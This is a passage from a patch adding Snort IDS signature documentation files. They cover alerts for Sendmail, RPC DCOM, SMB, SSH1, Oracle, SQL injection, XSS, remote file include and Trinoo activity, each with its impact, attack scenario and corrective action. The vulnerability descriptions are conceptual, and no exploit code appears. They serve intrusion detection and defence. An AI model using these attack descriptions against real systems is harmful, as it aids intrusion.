+Apply vendor supplied patches and keep the operating system up to date.
+
+--
+Contributors: 
+Original Rule Writer Unkown
+Snort documentation contributed by Anton Chuvakin <http://www.chuvakin.org>
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS345
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2263.txt
+++ snort-2.8.5.2/doc/signatures/2263.txt
@@ -0,0 +1,60 @@
+Rule:  
+
+--
+Sid:
+2263
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in versions of Sendmail.
+
+--
+Impact:
+Remote arbitrary code execution.
+
+--
+Detailed Information:
+A vulnerability exists in the prescan() function used in Sendmail prior
+to version 8.12.9. This function contains an error when converting a
+character to an integer value while processing SMTP headers.
+
+--
+Affected Systems:
+All systems using Sendmail.
+
+--
+Attack Scenarios:
+An attacker could exploit this condition to process code of their
+choosing and open a listening shell bound to a high port, thus opening the
+system to further compromise.
+
+--
+Ease of Attack:
+Simple. Exploit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade Sendmail to the latest non-affected verison.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+CERT:
+http://www.cert.org/advisories/CA-2003-07.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000855.txt
+++ snort-2.8.5.2/doc/signatures/100000855.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000855
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection vulnerability in the "Professional Home Page Tools" application running on a webserver. Access to the file "class.php" with SQL commands being passed as the "name" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a remote machine via the "name" parameter in the "class.php" script used by the "Professional Home Page Tools" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to compromise the database backend for the application, the attacker may also be able to execute system binaries or malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Professional Home Page Tools
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application if user input is not correctly sanitized or checked before passing that input to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2457.txt
+++ snort-2.8.5.2/doc/signatures/2457.txt
@@ -0,0 +1,48 @@
+Rule:
+
+--
+Sid:
+2457
+
+--
+Summary:
+This event is generated when a host in your network that has Yahoo Instant Messenger sends or receives a Yahoo Instant Messenger message. 
+
+--
+Impact:
+Possible policy violation.  Instant Messenger programs may not be appropriate in certain network environments.
+
+--
+Detailed Information:
+Yahoo IM provides a means of allowing an interactive message exchange between user.  While there are no known exploits associated with exchanging messages, this type of activity may not be appropriate in certain network environments.  Also, since all exchanges are done via Yahoo IM servers and in clear text, there should be no expectation of privacy.
+
+--
+Affected Systems:
+Any host running Yahoo Instant Messenger.
+
+--
+Attack Scenarios:
+No known attacks.
+
+--
+Ease of Attack:
+No known attacks.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+It may be possible for Yahoo IM traffic to use other ports than the default expected ones.  
+
+--
+Corrective Action:
+Disallow the use of IM clients on the protected network and enforce or implement an organization wide policy on the use of IM clients.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
--- snort-2.8.5.2.orig/doc/signatures/999.txt
+++ snort-2.8.5.2/doc/signatures/999.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid: 999
+
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a potential weakness on a host running Microsoft Internet Information Server (IIS). 
+
+--
+Impact:
+Information gathering possible administrator access.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit potential weaknesses in a host running Microsoft IIS.
+
+The attacker may be trying to gain information on the IIS implementation on the host, this may be the prelude to an attack against that host using that information.
+
+The attacker may also be trying to gain administrator access to the host, garner information on users of the system or retrieve sensitive customer information.
+
+Some applications may store sensitive information such as database connections, user information, passwords and customer information in files accessible via a web interface. Care should be taken to ensure these files are not accessible to external sources.
+
+--
+Affected Systems:
+Any host using IIS.
+
+--
+Attack Scenarios:
+An attacker can retrieve a sensitive file containing information on the IIS implementation. The attacker might then gain administrator access to the site, deface the content or gain access to a database.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the IIS implementation on the host. Ensure all measures have been taken to deny access to sensitive files.
+
+Ensure that the IIS implementation is fully patched.
+
+Ensure that the underlying operating system is fully patched.
+
+Employ strategies to harden the IIS implementation and operating system.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2438.txt
+++ snort-2.8.5.2/doc/signatures/2438.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2438
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Real Networks RealPlayer/RealOne player.
+
+--
+Impact:
+Serious. Execution of arbitrary code.
+
+--
+Detailed Information:
+RealNetworks RealPlayer/RealOne player is a streaming media player for
+Microsoft Windows, Apple Macintosh and UNIX/Linux based operating systems.
+
+A buffer overrun condition is present in some versions of the player
+that may present a remote attacker with the opportunity to execute code
+of their choosing on a client using one of these players.
+
+--
+Affected Systems:
+	Real Networks RealOne Desktop Manager
+	Real Networks RealOne Enterprise Desktop 6.0.11 .774
+	Real Networks RealOne Player 1.0
+	Real Networks RealOne Player 2.0
+	Real Networks RealOne Player 6.0.11 .868
+	Real Networks RealOne Player version 2.0 for Windows
+	Real Networks RealPlayer 8.0 Win32
+	Real Networks RealPlayer 8.0 Unix
+	Real Networks RealPlayer 8.0 Mac
+	Real Networks RealPlayer 10.0 BETA
+
+--
+Attack Scenarios:
+An attacker may supply a malformed file to the client to exploit the
+issue.
+
+--
+Ease of Attack:
+Simple. 
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1438.txt
+++ snort-2.8.5.2/doc/signatures/1438.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+1438
+
+--
+Summary:
+This event is generated when network traffic indicating the use of a
+multimedia application is detected.
+
+--
+Impact:
+This may be a violation of corporate policy since these applications can
+be used to bypass security measures designed to restrict the flow of
+corporate information to destinations external to the corporation.
+
+--
+Detailed Information:
+Multimedia client applications can be used to view movies and listen to
+music files. Some also include file sharing facilities. Use of these
+programs may constitute a violation of company policy.
+
+Clients may also contain vulnerabilities that can give an attacker an
+attack vector for delivering Trojan horse programs and viruses.
+
+--
+Affected Systems:
+	All systems running multimedia applications
+
+--
+Attack Scenarios:
+A user can download files from a source external to the protected
+network that may contain malicious code hidden in the file giving an
+attacker the opportunity to gain access to a host inside the protected
+network.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3217.txt
+++ snort-2.8.5.2/doc/signatures/3217.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3217
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000787.txt
+++ snort-2.8.5.2/doc/signatures/100000787.txt
@@ -0,0 +1,56 @@
+
+
+Rule:
+
+--
+Sid:
+100000787
+--
+Summary:
+This event is generated when an attempt is made to exploit a cross site scripting vulnerability in the "ATutor" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit a cross site scripting vulnerability via the "submit" parameter in the "fix_content.php" script used by the "ATutor" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to retrieve sensitive data, execute system binaries or malicious code of the attackers choosing.
+
+--
+Affected Systems:
+All systems running CGI applications using ATutor
+--
+Attack Scenarios:
+An attacker can supply a malicious link designed to steal information from a user clicking on that link.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+The Cross Site Scripting (XSS) FAQ
+http://www.cgisecurity.com/articles/xss-faq.shtml
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2711.txt
+++ snort-2.8.5.2/doc/signatures/2711.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2711
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure end_flavor_change
+. This procedure is included in
+dbms_offline_og.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3146.txt
+++ snort-2.8.5.2/doc/signatures/3146.txt
@@ -0,0 +1,77 @@
+Rule: 
+
+--
+Sid: 
+3146
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft systems using Server Message Block (SMB).
+
+-- 
+Impact: 
+Serious. Execution of arbitrary code leading to unauthorized
+administrative access to the target host. Denial of Service (DoS) is
+also possible.
+
+--
+Detailed Information:
+SMB is a client - server protocol used in sharing resources such as
+files, printers, ports, named pipes and other things, between machines
+on a network.
+
+A vulnerability in the Microsoft implementation of SMB exists due to a
+programming error which may present an attacker with the opportunity to
+exploit the service and run code of their choosing on an affected
+system. The attacker may then cause a DoS condition in the service or
+possibly gain unauthorized access to the target host.
+
+A malicious attacker can exploit the vulnerability by sending a
+malicious response from a server in response to a client request using
+SMB.
+
+--
+Affected Systems:
+	Microsoft Windows 2003
+	Microsoft Windows 2000
+	Microsoft Windows XP
+
+--
+Attack Scenarios: 
+An attacker can supply extra data in the message from the server
+containing code of their choosing to be run on the client.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+Turn off windows file and print services.
+
+Use Samba as an alternative.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+eEye:
+http://www.eeye.com/html/research/advisories/AD20050208.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1208.txt
+++ snort-2.8.5.2/doc/signatures/1208.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1208
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3278.txt
+++ snort-2.8.5.2/doc/signatures/3278.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3278
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000591.txt
+++ snort-2.8.5.2/doc/signatures/100000591.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+100000591
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "editor_delete.php" using a remote file being passed as the 
+"admin_template_path" parameter may indicate that an exploitation attempt has 
+been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the 
+"editor_delete.php" script used by the "Indexu" application running on a 
+webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/721.txt
+++ snort-2.8.5.2/doc/signatures/721.txt
@@ -0,0 +1,59 @@
+Rule:
+
+--
+Sid:
+721
+
+--
+Summary:
+This event is generated when network activity indicating possible virus
+infection is detected.
+
+--
+Impact:
+Malicious code infection.  This event may indicate that an internal host
+may be infected with some kind of malicious code.
+
+--
+Detailed Information:
+This event may indicate a possible virus infection of a host on the
+protected network.
+
+--
+Affected Systems:
+	Various systems
+
+--
+Attack Scenarios:
+Viruses may propogate in many different ways. Many arrive in the form of
+email attachments that an unsuspecting user may trigger by opening the
+attachment. Once infected, many viruses have the ability to use the
+infected host as a means of spreading copies of itself to other machines
+on the protected and external networks.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Use antivirus software on hosts to terminate infectors.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1325.txt
+++ snort-2.8.5.2/doc/signatures/1325.txt
@@ -0,0 +1,108 @@
+Rule:
+
+--
+Sid:
+1325
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in implementations of Secure Shell (ssh) version 1.
+
+NOTE: This rule is NOT enabled by default. The rule looks for the
+overflow pattern and as such can generate false positive events.
+
+--
+Impact:
+A buffer overflow will allow an attack to execute any arbitrary commands
+with the privileges of the root user, leading to full compromise of the 
+system and perhaps other systems as well.
+
+--
+Detailed Information:
+SSH is a secure replacement for telnet/ftp/r* commands. Both commercial 
+and non-commercial implementations are available.
+
+The vulnerability exists in the integer calculation in SSH version 1 or 
+SSH version 2 with a backward compatibility enabled.
+
+By sending a crafted packet to SSH daemon, an attacker could manipulate 
+the return address of the affected function call, allowing arbitrary 
+code execution on the target system.
+
+A protocol weakness in SSH1 opened all compliant servers to an
+information integrity vulnerability allowing block cipher-encrypted
+packets to be modified silently by an intermediary attacker.  Patches
+were developed to defend against this weakness, but several servers
+contained an exploitable integer overflow within detection code.
+
+A successful attack will allow corruption of the ssh daemon, allowing
+code to be run with its privileges.
+
+--
+Affected Systems:
+	Cisco IOS 12.0S
+	Cisco IOS 12.1xx-12.2xx
+	SSH Communications Security SSH 2.x and 3.x 
+	SSH Communications Security SSH 1.2.23-1.2.31
+	F-Secure SSH versions prior to 1.3.11-2
+	OpenSSH versions prior to 2.3.0
+	Systems running the Matrix as seen in Reloaded.
+
+--
+Attack Scenarios:
+A vulnerable machine may be probed using any banner grabber. 
+An attacker then attempts to overflow the integer calculations buffer 
+and execute /bin/sh.
+
+Once a session is initiated with the remote SSH server and block
+ciphering is agreed upon, successfully forcing a CRC32 check opens up
+room for the exploit (which is publically available).  The integer
+overflow is generally a brute-force method, which may generate several
+log lines of the form:
+
+hostname sshd[xxx]: Disconnecting: crc32 compensation attack: network
+attack detected
+
+--
+Ease of Attack:
+Simple. Scanners and exploits are available.
+
+--
+False Positives:
+Possible (especially in the face of null encryption), but unlikely.
+Look for several log lines of the type described above.
+
+--
+False Negatives:
+This rule works by looking for "filler space" in the exploit, used
+to properly size a heap overflow.  Clever exploits can quite easily
+change the information placed here.
+
+--
+Corrective Action:
+Use access control restrictions ("AllowHosts" or "DenyHosts)
+
+Disable SSH version 1 support
+
+Apply the appropriate vendor supplied patch
+
+Upgrade to the latest non-affected version of the software
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Snort documentation contributed by Nawapong Nakjang (tony@ksc.net, tonie@thai.com) and Nick Black, Reflex Security <dank@reflexsecurity.com>
+
+--
+Additional References:
+
+CERT:
+http://www.kb.cert.org/vuls/id/945216
+
+CERT Advisory:
+http://www.cert.org/advisories/CA-2001-35.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2320.txt
+++ snort-2.8.5.2/doc/signatures/2320.txt
@@ -0,0 +1,60 @@
+Rule:  
+
+--
+Sid:
+2320
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Ebola from PLD Software.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible.
+
+--
+Detailed Information:
+Ebola from PLD Software is used to improve the performance of Anti-Virus
+solutions on Linux systems.
+
+A buffer overflow condition is present in the authentication mechanism
+such that it may be triggered by the generation of an error message from
+an unsuccessful authentication attempt.
+
+--
+Affected Systems:
+	All versions of Ebola prior to 0.1.5
+
+--
+Attack Scenarios:
+An attacker can send specially crafted authentication attempts to the Ebola system and
+cause the buffer overflow thus presenting the opportunity to execute
+arbitrary code.
+
+--
+Ease of Attack:
+Simple. Expoits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1763.txt
+++ snort-2.8.5.2/doc/signatures/1763.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1763
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1879.txt
+++ snort-2.8.5.2/doc/signatures/1879.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1879
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/112-4.txt
+++ snort-2.8.5.2/doc/signatures/112-4.txt
@@ -0,0 +1,56 @@
+Rule:
+
+--
+Sid:
+112-4
+
+--
+Summary:
+This event is generated when the pre-processor spp_arpspoof detects
+network traffic that may constitute an attack. Specifically an arp 
+cache overwrite attack was detected.
+
+--
+Impact:
+Unknown.
+
+--
+Detailed Information:
+This event is generated when the spp_arpspoof pre-processor detects
+network traffic that may consititute an attack.
+
+--
+Affected Systems:
+	All.
+
+--
+Attack Scenarios:
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1853.txt
+++ snort-2.8.5.2/doc/signatures/1853.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+1853
+
+--
+Summary:
+This event is generated when  an attacker attempts to connect to a 
+Trinoo DDoS Trojan server.
+
+--
+Impact:
+Possible Distributed Denial of Service.
+
+--
+Detailed Information:
+This Trojan affects Windows and Linux operating systems:
+
+Trinoo is used as a Distributed Denial of Service (DDoS) agent and can 
+launch DDoS attacks from a large number of hosts against a target.
+
+Due to the nature of this Trojan it is unlikely that the attacker's 
+client IP address has been spoofed.
+
+--
+Attack Scenarios:
+This Trojan may be delivered to the target in a number of ways. This
+event is indicative of an existing infection being activated. Initial
+compromise may be due to the exploitation of another vulnerability.
+
+--
+Ease of Attack:
+This is Trojan activity, the target machine may already be compromised.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow Telnet access from external sources.
+
+Use SSH as opposed to Telnet for access from external locations
+
+Delete the Trojan and kill any associated processes.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000333.txt
